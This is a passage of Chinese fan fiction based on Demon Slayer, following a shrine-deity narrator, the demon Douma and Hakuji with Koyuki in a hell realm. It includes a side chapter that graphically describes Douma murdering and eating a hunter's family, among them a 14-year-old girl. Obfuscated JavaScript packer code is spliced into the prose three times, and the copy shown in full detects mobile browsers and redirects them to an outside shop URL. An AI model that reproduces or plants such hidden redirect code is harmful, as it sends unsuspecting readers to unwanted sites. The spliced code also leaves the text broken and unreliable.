“小染,这边最近可很不安全呐,你要把这位可爱的女孩子藏好哦~“ 我赶紧挡住他那对闪闪发光的眼睛,“你给我在家好好呆着!要是被我发现你敢跟过来,我保证童磨大人往后连石头都没得啃!” 我能想到的唯一安全的地方,就是珠世那里。然而好不容易凭着记忆找到了地方才发现,珠世的家早已人去屋空。也难怪,这里已经没有和她相识的人,她那种警觉的个性,也不会在我所知道的地方停留了。 还好,屋子里的陈设基本都在,她什么也没带走,不知去了哪里。 将那名叫恋雪的少女留在屋中后,我检查了一遍屋子附近,发现可能是因为那些林子里不知名的植物,也可能是先前珠世使用的血鬼术的作用,这里暂时没有鬼活动的痕迹。更幸运的是,我在屋子后找到了一棵结着金黄色果实的树,我依然记得在那支鬼杀队驻地,珠世和早云都曾经给我吃过那种圆圆的、金黄色的果子,于是我摘了几个一并拿进了屋子。 “这个我以前见过,人类可以吃。虽然严格来讲灵体并不需要进食,但在无间地狱,不吃这里的东西,会让灵体变得虚弱,更容易失去自我。记住,这个地方其他的东西你都不要吃。” 我在屋子角落里找到一只陶罐,可能是珠世之前用来装药材的,散发着淡淡的药香。我将它放在药柜旁的矮桌上,在里面注满清水。 “这水是带有净化之力的,你要每天喝,人类的灵体不比鬼,非常脆弱,况且我看你这样子,做人的时候也没有多结实吧?” 叫恋雪的少女脸又红了,不安的揪着衣服,“是、是的,真是抱歉,路上还让您背我…” “我不背你,估计走一天也到不了这里。”我笑了,“别怕,我会为这个地方布下防护的结界,鬼进不来。等找到能离开的办法,我就送你出去。” “给您添麻烦了…”少女看上去相当局促,“可我得快点找到狛治哥哥才行,找不到我,他肯定急坏了。” “我帮你留意,是什么样的人?“ “他穿白色的道服,眼睛很漂亮…对了,他手臂上、手臂上有三道刺青。“ 我皱眉,“手臂上有刺青?你是指入墨刑吗?“ “是、是的!但狛治哥哥不是坏人!”少女的语气头一次急切起来,“那是好久以前的事了,他被江户的衙门…” “江户城的入墨刑,我知道的。”许久未曾听说江户城的事,我突然来了兴致,“你们在人世的时候,是哪位将军大人主政江户?” “啊,那…那个…我听爸爸说过,好像是…好像是家继将军…” “我知道!那是先代将军!”我有点兴奋,“记得我还在神社的时候,在位的是吉宗将军!” “神、神社?是江户那边的神社吗?” “是的,是江户城外的荒川神社。” 女孩温柔的笑起来,“我家的道场不在江户,听说那边的焰火大会比我家那里的还漂亮呢。” “是啊,焰火大会…” 白被献祭给荒川的那天,我来到人世的那天,印在我记忆中最深刻的,正是漫天花火。 “所以…您是神社的巫女大人吗?”名叫恋雪的女孩脸上流露出一丝憧憬,“我从小身体不好,没怎么出过门,但爸爸和妈妈有去神社里帮我祈福,说是有美丽的巫女大人帮大家把愿望念给神明听呢。” “……算是吧,巫女。”我微笑道,“也是很久以前的事了。你的记性可真好,都过了这么久了,人世的事居然都还记得。“ “那个,是因为狛治哥哥什么都不记得了,我才想一定要帮他记住所有作为人类时的事,以后再慢慢的告诉他……” “原来是这样吗……” 和少女约定隔一天再去看她,我心情颇为愉悦的踏上归途。 果然,尽管在无间地狱也不是不能活,我还是更想念人世。 想念人世的风,人世的阳光,春天的樱花树,夏天的大雨,河边的蒲公英,甚至想念我那破破烂烂的神社。 想念江户城的大街小巷,和一年四季的各色点心。 在地狱里蹲的太久,我都忘了樱花团子是什么味了,这令我很是感伤,不知道是否说明我要失忆了? 如果见到那个叫狛治的人,一定要问问他有没有去过城里卖樱花团子的那家店…… 说起来,也不知道他家以前住在江户哪里?我还记得城下町的町人们住的长屋,看起来一排排的还挺挤的,据说很容易着火…… 说到屋子的话…… 诶?我的屋子到哪去了?? 我目瞪口呆的望着眼前的一片废墟,依稀辨认出了一个大致的房子骨架,然后看到了飞出去的拉门和碎了一地的屋顶。 我的院墙呢? 我的门柱呢? 我那可以赏雨赏雪的檐廊呢? 这是发生了什么?我才离开不到半天,那只鬼就把房子炸了?这看起来也不像遭了火灾啊? 等等,那是…什么气息? 好强烈的斗气! 我毫不迟疑的抽出长刀,向着气息的方向疾冲过去。 离的还有段距离,就听到童磨那独具特色的兴高采烈的声音: “刚刚那一拳慢了哦,都没有碰到我的衣服呢~果然人类的话,就算再怎么强也没用,猗窝座阁下,您还是变回鬼吧~诶呀,这拳就好多了……” 我眼睁睁看着一位穿着白色衣服的短发少年,以一种我从没在人类身上见过的凌厉攻势,一拳砸到了童磨脸上。 那是几乎能看到气流的精纯斗气,挥拳的力道居然大到能让那只鬼退后了十几步,紧接着那道白色的影子就飞身而至,又是仿佛能够开山裂地般的一拳。 童磨展开扇子挡住了那一拳,紧接着像是跳舞般灵活的一个侧身,金扇就朝着那白影斩了下去。那少年的反应也是相当之快,竟然闪了过去,然后是一连串几乎看不清动作的踢击。 真是好漂亮的近战打法! 我忘了房子的事,就站在原地看着这两人你来我往又过了几百招,童磨并没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“还我!”那少年突然爆发出一声嘶哑的吼声。 “还您什么呀?我又不欠您钱。”鬼笑的天真无邪。 “把恋雪还我!“少年两眼发红,“否则我杀你一千次一万次!“ “按现在的情况来看,似乎不太行呢。”童磨惋惜的说,“我是鬼,而您是人类,孰强孰弱,您应该知道的吧?诶呀,您说的是那个穿粉衣服的小姑娘?她是阁下的什么人呀?看起来就很好吃……” 少年抽回手臂,又是一拳砸在他脸上。 “你敢…!你竟然敢…!” 他听上去心都要碎了。 于是我忍不住了,扔出了一个水球,砰的砸在了他俩身上。 “童磨大人,虽然我不太懂你们这种交流的方式,但差不多也该结束了吧?“ 童磨甩了甩头发上的冰晶,朝我露出厚颜无耻的笑容: “小染回来了呀,居然去了这么久,人家好担心呐~” “担心到房子都没了呢,童磨大人真是太厉害了。”我语气不善的说,随后看向地上那少年,“你是不是叫狛治?别听这鬼胡说八道,那女孩子没事,我把她送到安全的地方了。” “什么呀,小染,这明明是猗窝座阁下,我跟你提起过的,是人家最好的朋友哦~” 白衣服少年一脚踢开那只鬼,跳起来走到我面前,以一种冰冷无比的视线注视着我。 “虽然我不杀女人,但如果你骗我,就让你死。“他一字一顿的说。 “如果我没骗你,我家的房子你得赔给我。”我也认真的看着他说。 大好的心情转瞬跌落谷底,人果然不能得到了什么再失去。 就算看着那名叫狛治的少年抱着少女又哭又笑,我也提不起精神来。 我这是造了什么孽啊?好不容易有地方住了,还没住多久,就又回到过去风餐露宿的日子了,好心疼我的那套茶具啊… 算了,反正没地方住,最受罪的肯定不是我,而是某位养尊处优的上弦大人吧。 好在那场诡异的血雨已经停了,我默默回到了剩下个架子的“家”里,正巧看见某只鬼悠哉悠哉的指挥着三个小冰人,从一堆碎木片中抬出来一张被封在冰里的双六棋盘来。 “小染~”他看见我,笑眯眯的挥挥手,“看,多亏人家这次反应快,东西都没有坏掉哦~” 我呆呆的盯着那张方方正正晶莹剔透的棋盘,憋了半天才冒出一句话: “童磨大人,因果报应怎么就对你不起作用呢?” 然后我就抱着我的茶具喜极而泣了。 感谢聪明绝顶的童磨大人,感谢他那超实用的血鬼术,屋子里的东西没什么事,塌的只有屋顶、檐廊和几面墙,但因为墙体都是木制结构,完全被打散了,要拼起来大概需要花点时间。 “所以这就是上弦之叁的实力吗?”我惊叹道,“敢赤手空拳跟你打,这拳脚也太厉害了。” “不是哦,”童磨特别自然的坐在一根倒掉的柱子上,好像眼前塌的不是他的房子,“猗窝座阁下的实力,比这要厉害多啦。” 于是我听他讲起了他口中叫做“猗窝座”的鬼,那是个执着于踏入武学的至高领域、为此屠戮了无数强者的斗之鬼。想到刚刚那个抱着恋雪哭的像个孩子似的少年,我无论如何也没法把二者想象成同一个人。 “好可惜呀,猗窝座阁下竟然变回人类了,还是为了一个小姑娘。”童磨看上去相当惋惜,“那种小姑娘,吃起来都没有多少肉呀。” “那你干嘛要骗他?你明明没吃那女孩子,非要让他以为你吃了,本来可以不打这一架。”我叹了口气,“这下好了,房子修好前,童磨大人就住树上吧。“ “因为猗窝座阁下生气的样子很有趣嘛,我也没说吃了那个小姑娘,是他在门口捡到了那姑娘的发簪,就认定是被人家吃啦。”鬼无辜的说,“再说啦,先前大家是同僚的时候,他就仗着无惨大人和黑死牟大人的偏爱老是欺负人家,虽然我的级别比他高,但为了搞好同僚间的关系,一向都是让着他的呢。” 你能被人欺负?鬼才信呢。 “算了,房子我慢慢修吧。你也不要再叫人家什么猗窝座了,看不出人家根本不想做鬼了吗?” “做鬼怎么了?做鬼有什么不好?”那只鬼不服气的反驳我,“人类那么愚蠢,又那么脆弱,说死掉就死掉,真是想不通啊,猗窝座阁下虽然一直脑子不太好,竟然笨到这种程度,连这里面的利弊都分不清嘛?” “你喜欢做鬼是你的事,别人喜欢做人,关你什么事呢?再说妓夫太郎不是也选择变回人类了吗?”我说,“我问过那个叫恋雪的姑娘了,他们还是人类时就有婚约,那女孩一直没去转世,只为了等他,这叫做爱,童磨大人能理解吗?“ 没想到那只鬼突然没声了。 我转头看向他,就看他一手托腮,以一种奇怪的眼神看着我。 “这就是之前小染说的‘爱’吗?” 我想起了之前约定的那个游戏,于是认真的朝他点了点头。 “对,连死亡也无法阻碍的等待,这就是爱。” “好吧,虽然没办法理解,但按照游戏规则,人家记下了。”鬼一脸无所谓的说,“可是之前小染说过,必须是你做的事才行。” “没关系,这次就假装是我做的。”我微笑道,“难道童磨大人觉得,我看起来不像是这样的人吗?“ “不像啊,小染应该做不出这么笨的事吧?都已经死掉了,还要去等什么人,这不是脑子有问题嘛?“ …… “是啊,爱就是这样的东西,会让人脑子出问题。”我笑道,“但那也不是什么坏事,如果有一天,童磨大人能亲身感受到爱的时候,就会明白这是怎么一回事啦。” 59. 神之子(10) 房子一时半会修不好,我就近找了棵树,树杈生长成分开的爪形,很适合倚靠,刚想上去,就看某只鬼已经泰然自若的占据了那个位置,两条长腿搭在伸出的树杈上晃来晃去,很是惬意。 欺负谁啊! 然而跟鬼是没道理可讲的,我气哼哼的上了旁边的另一棵树。 “诶呀,真有趣,这感觉简直让人家又想起了刚刚变成鬼的时候呢~” 鬼乐呵呵地说道,看上去完全不在意要住树上这事。 我略有些惊讶:“童磨大人难道不是每天在教会里好吃好喝,还有女侍侍奉嘛?还有这种在树林子里过夜的经历吗?” “总是要狩猎的嘛。”童磨枕着一只手臂,眼中的彩虹在黑暗中竟然也隐约可见,“无惨大人的血是很强大的,最开始的那些天,你只会觉得饿,不管吃多少人肉都没用,信徒再多,数量也是有限的啊,总不能一下都吃掉,就只好出去狩猎啦。” 我终于忍不住问出了那个一直想问的问题: “你…后悔过吗?” 他干脆地说:“没有后悔过哦,为什么要后悔?反正我做人做鬼都一个样嘛。” “不一样吧?你不像别人,你不缺钱,不缺地位,不缺女人,作为人类也可以安稳的度过一生,但做鬼…只能永远活在黑暗中,只能吃一种食物,还要永远受制于他人。这样…值得吗?” “小染好笨呐,人类不是也只能在白天活动、吃的东西也就那么几样,还要受制于更多的人吧?从奉行所到税吏,哪个肯放过你?”童磨不紧不慢地说,“做鬼的好处可就太多了,鬼不会累,不会生病,眼睛和耳朵都会变的敏锐,就算受伤了也能很快恢复。人类就很可怜了,有很多事都做不到,永远在痛苦中挣扎,而且或早或晚总会死掉的,这样的生活谈不上任何幸福吧?也毫无意义不是吗?就是因为实在看不下去他们这么受苦,我才要给予他们救赎,毕竟给信徒带来幸福是我的义务嘛……” “我不是问你的信徒,我是问童磨大人自己。”我轻声说,“你变成鬼以后的这些年…过的快乐吗?” 连恋雪那样的人类小姑娘,都曾目睹过狛治变成鬼后的百年杀戮,然而我竟然不知道,曾经被我那样憧憬着的你,这两百年间到底过着怎样的生活呢? “快乐什么的…人家倒也没感觉啦。但是,至少多出了很多时间哟~”童磨来了兴致,滔滔不绝的讲起来,“每天夜里都可以做不同的事呢,啊,我只记得有段日子真的很闲,闲到不知道做什么,就把教里的藏书全背了一遍,呵呵~就算要和那些猎鬼人或是别的鬼战斗,也是很有趣的呀,每次的战场都不一样,对手也都不一样,要根据对手来选择不同的血鬼术组合,如果玩的久一些,还能看到对方各种有趣的表情和身体反应…不过人家是个善良的人,多数时候还是会干净利索的解决掉他们啦~大概五六十年以前吧,我碰到了当时的风柱和炎柱,那一战,诶呀,真是非常过瘾……” “什么啊,所以你变成鬼只是因为好玩吗?”我哭笑不得的打断了他,“仅仅为了这样的原因,就彻底放弃了人类的身份和生活吗?“ “没有放弃哦,毕竟我白天还是有好好工作的,在倾听信徒们的祷告这方面,人家可是一直很认真的哦~至于其他的嘛……” 他停顿了下,以一种似笑非笑的声音说道,“小染难道觉得,我曾经有过人类的生活吗?“ “诶?” “不论父母还是信徒,都把我当作神明之子,我说出的每一句话,都被人当作是神明的意思。母亲不让我叫她母亲,也不肯给我取名,直到遇见小琴叶,我才知道别人的母亲是什么样子。人类的喜怒哀乐,我全都没办法理解,就算每天都在听他们诉说种种痛苦的事,也只觉得可笑又可怜罢了。记得小的时候对他们还有过厌烦的感觉,后来连厌烦也没有了。”那只鬼淡淡的说,“小染,我啊,和猗窝座阁下不一样,人类的生活,对我来说才是真正的虚幻呢,没有所谓的痛苦和快乐,也没有一点值得留恋的东西。” 我隔着黑暗,看到他似乎笑了笑,“如果没有变成鬼,就连我给予信徒们的救赎都是虚幻的呢,极乐净土,呵呵……反正活着也那么痛苦,还不如直接吃了他们,成为我身体的一部分,也就相当于永生了,那样一定会幸福吧,毕竟我存在的意义,就是给大家带来幸福啊。” 原来如此,那个关于极乐的童话,是你讲给信徒,也讲给自己听的啊。 ——我希望大家都能从我这里得到幸福,这是我存在于世上的意义。 为什么,为什么我从来没有意识到呢?两百年前荒川神社的那个午后,当那孩子微笑着说出这句话的时候…… 是何等的孤单啊! 世界的色彩映在他眼中,他却什么也看不见。 就像一个纯粹的盲人,自己看不见,却还要为他人指路。然而即使哭或者笑,他人所看到的,也只是神明的慈悲而已。 那个神坛上的孩子,一直以来活的就像一个透明的幽灵,他是如何一个人熬过这样的孤单的呢? 我无法想象,也不敢去想象,只感到那颗属于白的心,痛的好像刀割一样。 “如果可以早点遇到童磨大人就好了。”我喃喃道。 “小染在说什么傻话,都说了人家不后悔变成鬼嘛~况且现在遇到小染也不错哦,至少小染是第一个愿意听人家讲话的人呢~”鬼颇有点感慨地说,“先前不管是黑死牟大人还是猗窝座阁下,都对人家好冷淡啊,就连无惨大人和小鸣女也是,诶呀,真是不明白到底是为什么,明明人家有好好跟大家相处嘛。” “那必定是因为他们太笨了,听不懂童磨大人讲的笑话。“我笑道,“你以后想说什么就说什么,我都愿意听。“ “诶?真的吗?那小染知道女孩子身上哪个部位的肉最好吃吗?对于这个我可是很有心得…“ “……那种事就不用讲给我听了啊!咦,有人来了。“ 对面的树林里走出来一个人,身穿白色的道服,竟是那位名叫狛治的少年。只见他走近屋子前面剩下一半的门柱,皱着眉看了看,扭头又走进林子里,过了不多时,竟然扛着一根差不多粗的圆木走了出来。 直到他以极快的速度垒起了一堆木头,我才意识到他在干什么。 童磨比我先一步反应过来,极其热情的冲对方挥着手喊道: “猗窝座阁下!您是来帮我修房子的吗?诶呀,这太让人感动了!您可真是个大好人呐!” 说罢他就跳下树向那少年走去。 对方的回应是一根迎面飞来的圆木,童磨眼疾手快的一扇子将木头削成了两半,接着笑嘻嘻的说: “您太热情了,不用急嘛,人家这就来帮忙~” “滚,我看到你就恶心。”名为狛治的少年沉着脸说。 我赶快跑过去拽住那只故意讨人嫌的鬼,低声对他说:“你不行,看我的。” 还好,我走过去时没有被木头扔。 我站在边上看了一会儿,发现那少年虽然不爱说话,但干活极麻利,几下就把碎掉的木柱子换成了新的,于是笑着说:“狛治阁下好厉害,这修房子的技艺可不是谁都会的。” 他抬头扫了我一眼,冷冷的说:“以前在师父的道场干过。” “那就辛苦狛治阁下啦。” “恋雪让我来的,要谢你去谢她。” “会的,恋雪是个好姑娘,我很喜欢她。”我真诚的说,“对了,我们聊天时她跟我提起过,狛治阁下是江户出身?” 少年边徒手削掉木头上不平整的地方,边随口答道:“是。” “巧了!”我高兴的说,“我在人世时也曾在江户城附近住过,对城里很是熟悉呢!我问过恋雪,你们那时主政的是先代的家继将军,我那时已经是吉宗将军啦。虽然我在神社长大,但和将军的侧用人、柳生大人一家熟识,柳生大人和夫人还来过我的神社喝茶呢。” 他莫名的看了我一眼,摇头道:“我对那些武士没兴趣,不认识什么柳生大人。” 咦,记得之前黑死牟大人知道我懂武家礼仪,立刻就亲切起来了,为什么对他不管用? “这样啊…还有还有,我以前住在那边的时候,喜欢去二条城一家店买樱花团子吃,你知道那家店吗?就在街角,我记得叫松本还是什么来着。“ 他发出一声冷笑,“呵,这种陈年旧事你居然也还记着。” “当然了,江户城里的点心店我都熟的很!”我得意的说,“松本店里的红豆羊羹也很不错,秋天要撒上金木犀才好吃哦!街对面还有一家卖蜂蜜蛋糕的,我那时偶尔也去买来吃,之前就想说,也许我们去过同一家店也说不定?“ 他凉凉的瞥了我一眼:“没想到,在这里还能碰上武士家的小姐。” “诶?”我听出他话里带刺,不禁有点尴尬,“我不是什么武士家的小姐啦,其实…我是个神灵来着。” 叫狛治的少年直起腰,定定的看着我,突然问道: “你跟童磨是什么关系?“ “诶?“我愣了一下,“我跟童磨大人…是朋友啊。” “看出来了。”他点点头,“麻烦小姐你让开,别在这里碍眼了。” 我悻悻地回到树林边,和那只鬼坐在同一根破柱子上。 “到底哪里出了问题呢?”我郁闷的说,“他怎么好像很不喜欢我的样子?” “谁知道呢?”鬼无辜的说,“他也不喜欢我,真让人伤心呐。“ “这没道理啊,我可是个神灵,连珠世一开始都挺喜欢我的,还有黑死牟大人也对我不错。”我想了想,恍然道:“我懂了,这一定是童磨大人给我的鬼血的副作用!让我带上鬼气了! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“诶呀呀,终于被我发现了啊~无所不能的神灵大人,原来也有不知道的事情嘛!啊,好可怜~但小染傻乎乎的样子也太可爱了呵呵呵~” 经过他一番解释,我才大致了解到,当今的人世,早已不是我所生活过的那个世界。 西洋人逼迫幕府打开了国门,江户城中的将军大人的统治也走到了尽头,甚至连御所的那位陛下都已经岌岌可危,出现了像是“总理大臣”,“内阁”这样我完全不能理解的词汇。 一个没有神灵,也没有鬼的时代。 “等等,那我的神社岂不是…”我失声道。 不,不对,先前在修罗院千越的时轮中看到过,神社的鸟居还在,虽然已经褪色的不成样子,但鸟居在,就说明那里依然供奉着神灵。 “神灵是必须住在神社里嘛?“鬼好奇的问,“诶呀,之前没有想过,小染如果回到那边的话,不会无家可归吧?” 我叹了口气,“其实也不是必须住在神社里,只要荒川在,附近的山林在,就有我住的地方,可是…” 可是荒川神社,是我和人世,也是我和人类之间唯一的连接。 那里承载着我所有珍贵的记忆,所有的相遇和别离。 “呐,如果小染没地方住,我那里倒是可以收留你哦~” 不知为什么,那只鬼摇着扇子,笑的好像奸计得逞一样。 “可怜的神灵大人,我这么善良的人,怎么忍心看你流落街头呐~” 我扶额:“我才不要呢,你那群成天哭诉的信徒,光是想想都觉得头疼…” 正说着,就见狛治皱着眉走了过来,将一本破破烂烂的册子丢在我面前: “地板底下发现的,给你。” “咦?是写什么的?”我拿起那册子,随口问道。 “不知道。” 童磨在一旁假惺惺地说:“小染不要为难猗窝座阁下呀,他不怎么认字的。” 眼看狛治又要给他一拳,我连忙插嘴:“这好像是一个登记簿啊,上面有名字、进出的数量,还有…” “看起来是日轮刀的修复记录呢。”童磨凑了过来,指着一页纸上的草图说,“有刀刃受损的情况记录,后面是需要的材料。哇啊,是相当不错的情报哦~” 我往后翻了翻,竟然发现有一页上画着早云他们几个柱的刀,以及修罗院千越的“时轮”的草图。可能是因为时轮上有特别的纹路,草图上描的也很清楚。 “猎鬼人这是留了一份礼物给我们啊。”我喃喃道,“这样也许能把那些碎片拼起来了。我记得早云说过,时轮能把人世的东西传送到这里来,跟千越最后一战时那个太阳的投影也很逼真,用途这么多的东西,可不能随意浪费掉。“ “是个不错的主意,但据我所知,锻造武器是需要很多工具的,小染这是打算自己造个锻炉?好厉害~” 那只鬼显然在讥笑我。我冲他翻了个白眼,“我想别的办法,童磨大人还是去玩你那结局必死的双六吧。” 60. 江户篇·夜猎(短番外) 暗夜的气味是什么? 是植物。 在夜间,山风会更加凛冽一些,满山的松树、枫树和其他灌木,都会散发出与白天不同的气味,那是被月光灌溉的气味,静谧而神秘,仿佛它们变成了和白昼不同的东西,就像他。 但顺着植物的气味,就能捕捉到其他,譬如山间鸟兽经过的地方,会留有动物的气味,像是一两只叼着猎物、悄无声息的行走在暗夜里的山猫,那些小动物身姿轻盈而柔韧,牙齿是匕首的形状,最适合切入猎物颈椎的缝隙中,直接切断脊髓,杀戮来的迅猛而慈悲。 除去动物的气息,还有人类。这片山中有路,但除了慕名而来向他求取指引的那些人,其他的就只剩下几户散居在半山的猎户或砍柴人,他之所以熟悉他们,是因为教里曾在冬天接济他们粮食,其中一户人家的小女儿刚满十四,他还记得她来教里领取粮食时,一张长着雀斑的圆脸上那羞涩的笑。 少女的脸颊是粉红的,细弱的脖颈下埋着粉红的血管,里面流淌着琼浆玉液,散发出令人迷醉的香味。 像极了他最爱的松尾烧,松尾大社每年仅出那么几十坛,多是上贡到了御所。但他认识的那些官家小姐往往能弄到一两坛,在月下品酒赏夜樱,也就成了难得的风雅之事。 做了鬼他才知道,人身上也是有酒的,那种酒,叫稀血。 之前猎户家的姑娘正是一个稀血。 他们都是好人,他想,人类常说的那种好人,老实,卑微,不声不响,如同草芥,即便融入山野,奉行所连知道都不会知道。 猎户家的姑娘帮他开门时,屋里连油灯都没点,一是因为夜色已深,这一家人显然已经歇下了,二是为了省点油,毕竟对这种人家来说,灯油也不便宜。 “您是…教祖大人?“ 姑娘圆脸上的表情定格在了此刻。他微笑着捂住她的嘴,干脆利索的扭断了她的脖子。 “节子?是谁来了?“ 里屋传来女孩母亲的声音。 他潜入黑暗里,悄无声息,就像林间的山猫。 一个,两个,三个。 猎物连声音都没来得及发出,就沉重的倒地了。 一点也不难嘛,他想。 不论力量还是速度,人类在鬼面前,就像兔子在山猫面前一样柔弱无力。 这一家人现在整整齐齐的躺成一排,再也没有痛苦了。教祖大人慈悲的流下了眼泪,为他们开启了极乐的门扉。 他最先享用的自然是那个稀血。女孩的颈骨已断,柔软的咽喉暴露在他面前,一口下去,就喷出了温热而甜美的血液。 松尾大社的酒之所以醇美,皆是因为寺庙后面有一口泉,那泉的水极甘洌,酿的出千年难见的佳酿。 千年,他想,那位大人活了千年,不知品过多少美酒,又尝过多少稀血。但大人的私事都是禁忌,一句也不能问。 稀血易醉,他听其他的鬼如是说。但他做人时的酒量就一向很好,所以即使喝干了猎户家的女孩,也仅是微醺的状态。 多少有点无趣,饮酒若仅是微醺,是无趣的事。 女孩的肉质很是鲜美,虽然皮肤没有京里的小姐们细嫩,但阳光雨露养出来的野气,也是别有一番美味。但男人、女人和少年就差得远了。 没理由挑剔。离那位大人赐血已过了七日,他依然还是很饿,饿到看教里的每个人都是一堆行走的肉和脏器。 这就是经书里讲的白骨观,他用饿的奄奄一息的脑子想。做鬼果然是好事,连先前没有的体悟都自动冒了出来。做鬼也果然很有意思,比如他先前就从没体会过这种饥饿,血和尸体看上去也没有那么脏了。 死人在这年月一点也不稀奇。幼时他随父母去京里,路过贺茂川,河滩上抛的死人东一具西一具,听闻这是贺茂这块地方的特有风貌,原因是醇和天皇曾下“散骨诏”,说人死了精魂归天,死体容易滋生邪祟,因此最好碎骨为粉,抛之荒野。于是贺茂川的河原就成了抛尸地,不仅抛过平头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14252337|151568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 百姓,也抛过那位著名的“杀生关白”一家。他那时年岁尚小,只记住了那些红红绿绿的腐尸,除了刺鼻的恶臭,好像也没什么特别。 之后见过的死人也不少,但就算父母的尸体横陈眼前,父亲的肠子流了一地,他依然只觉得血味腥臭,弄脏了好好的经堂。这是他从小到大的记忆中最鲜明的一次,大概只是因为气味的缘故。 但现在不同了,新鲜的、散发出血腥味的人体,比冬日的牡丹锅还要诱人。 男人,女人,少女,孩童,老人…这段时间他尝试过各式各样的口味,但还是最爱少女的血肉。 年轻的女子,拥有孕育生命的胴体,像羔羊一样纯洁无辜,每每看到她们于尘世当中沉浮,被践踏、被贱卖、被□□、被弃如敝履,看到她们的伤痕和眼泪,他都只想到四个字: 苦海无边。 而他正是行走在这恶鬼道的,救苦的菩萨。 饥饿终于有所缓解,地上只余下几块干干净净的骨骼。 对猎物最大的尊重,就是一点也不浪费。 这个夜晚即将过去,他身上的羽织不小心染了几滴鲜血,但衣服的底色暗红,不细看很难发现。 倘若女侍问起,就找理由搪塞过去好了。反正他的女侍总会得到去往极乐净土的优先权,这是他能赐予羔羊的最大的慈悲。 他坐在这家人打扫的干干净净的檐廊上,就好像一位被慷慨的主人款待了的客人,夜色实在优美,上弦月西沉,银光遍洒在山林和草地上,如同下了一场大雪。 谁说万物只能在太阳底下活着?那只不过是因为人类脆弱而渺小,自古以来,他们的天敌都潜藏在暗夜里。对那些行走于黑暗的生命来说,暗夜所赐予的,其实和白昼一样公平。 山中的枫林开始红了,霜枫洒上月光,想必也是不错的颜色。风声渐起,风里有幽灵唱响了那首古时的歌谣: 兴宴嵯峨野,鹈舟、筏师、红叶流。 山阴风筝响,无异净土游。 61. 神之子(11) 狛治阁下不愧是干活的一把好手,仅仅用了两日,屋子的整体就恢复了原状,期间我又跑了一趟鬼杀队驻地,捡了些材料来修补纸门和屋顶。但这次不知为什么,先前那些徘徊在废墟里的鬼影一个也看不见了。 那少年也真是个爱憎分明的人,房子修好后,他只丢给我一句:“欠你的人情我已经还了,今晚我就带恋雪走,以后不要再见面了。” 我笑了笑,决定还是打破他的幻想比较好:“走?你们能走到哪里去?那位无惨大人已经以怨灵的姿态复活了,既然他能打破地狱不同界域间的屏障,硬把你拖进这个界域,就说明他依然能找到你们这些曾是他直系下属的上弦。如果我是你,绝不会带着一个人类女孩的灵在无惨大人的眼皮底下跑路。” 狛治沉默了片刻,说:“我已经不是他的属下了,也不会再听任他摆布。“ “我们也是这么想的,但黑死牟大人目前依然效忠于他,我个人对黑死牟大人很是尊敬,并不打算与他为敌。”我说,“你们就不能先在那座小屋里躲一段时间吗?等我们找到了送你们回去原先地方的办法,再走也不迟啊。“ “你们?”他冷笑,“是指你和那个专吃女人的家伙?你胆子还真是够大,和那种人也能呆在同一个屋檐下吗?” “那就是我的本事了。”我笑道,“听说狛治阁下变成鬼期间,恋雪姑娘也一直以灵魂的形态跟在你身边,并没有放弃你。” “别把我跟那种人混为一谈,”狛治皱起了那对秀气的眉,“我不吃女人,也从不杀女人。” “吃谁不是吃啊?男人和女人又能差多远?”我惊讶的说,“你们这群鬼难道也要按仁慈程度来分个三六九等吗?再说,童磨大人已经很久没吃过女孩子了,这是个重大的进步啊,为什么你们都只在意他以前是什么样的人?” 狛治摇摇头:“我比谁都了解鬼是什么东西,只要他是鬼,对血肉的渴望就不会变,一时的克制只不过是因为地狱里没女人给他吃罢了。而且那家伙嘴里从来没一句真话,你才认识他多久,就这么相信他?” “我认识他很久了,至少比狛治阁下想象的要久。”我微笑道,“我信任他,是因为他从未骗过我。况且即便有一天我发现他真的骗了我,我也不会后悔。” 狛治冷冷地看着我:“你不是人类吧?恋雪说你是神社里的巫女,我不信。” “都说了我是神灵来着,”我一本正经的说,“狛治阁下不信就算了。童磨大人对我说过你是他最好的朋友,所以我也要按对待朋友的方式对待你和恋雪。” “最好的朋友?”狛治脸上终于流露出一种厌恶和惊愕混合在一起的复杂表情:“他连这种话也说的出口?你也真信?” “他说了,我就信。朋友之间就是应该这样相处啊,有什么不对吗?” 名叫狛治的少年相当诡异的看了我一眼。 “你会死的很惨的。”他笃定地说。 好说歹说,狛治才同意带着恋雪暂居在那座小屋,我则在布下隐蔽用的结界之外,又将之前描的鬼杀队防御符咒绕着那里的林子贴了一遍。 这符咒对上弦级别的鬼没什么防御力,但它们被我稍稍的改造了下,一旦触发,在爆燃之后就会释放出大量死灵,如此一来,死灵疯狂的啃噬和破裂时的腐蚀性也足够来犯者吃个不大不小的亏。 随后隔了几天,一切平安无事。我于是决定再去先前的战场找找看还有没有漏掉的时轮碎片。 还真被我又找到了几块,我将它们藏在一堆稻草底下,照例用水流拖着往回走。 毫无征兆的,在路过产屋敷宅邸的废墟时,我看到了那个男人。 这次他的灵体看起来完全是实质化的了,穿的也不再是先前的玄色和服,而是一身在我看来有点奇怪、但又十分考究的洋服,外面披着像是黑色羽织那样的长衣,几乎与黑暗融为了一体。 或者说,他就是黑暗本身。 男人站在那里,静默地望着产屋敷宅邸的残垣断壁以及那座冰菩萨,他并未回头看我,但他开口的瞬间,一种令人窒息的压迫感骤然降临。 “是童磨干的?“ 我没法再装作对他视而不见,只能走上前行礼道:“是的,大人。“ 他回过头,梅红色的妖冶眼眸中,首次出现了某种愉悦般的情绪。 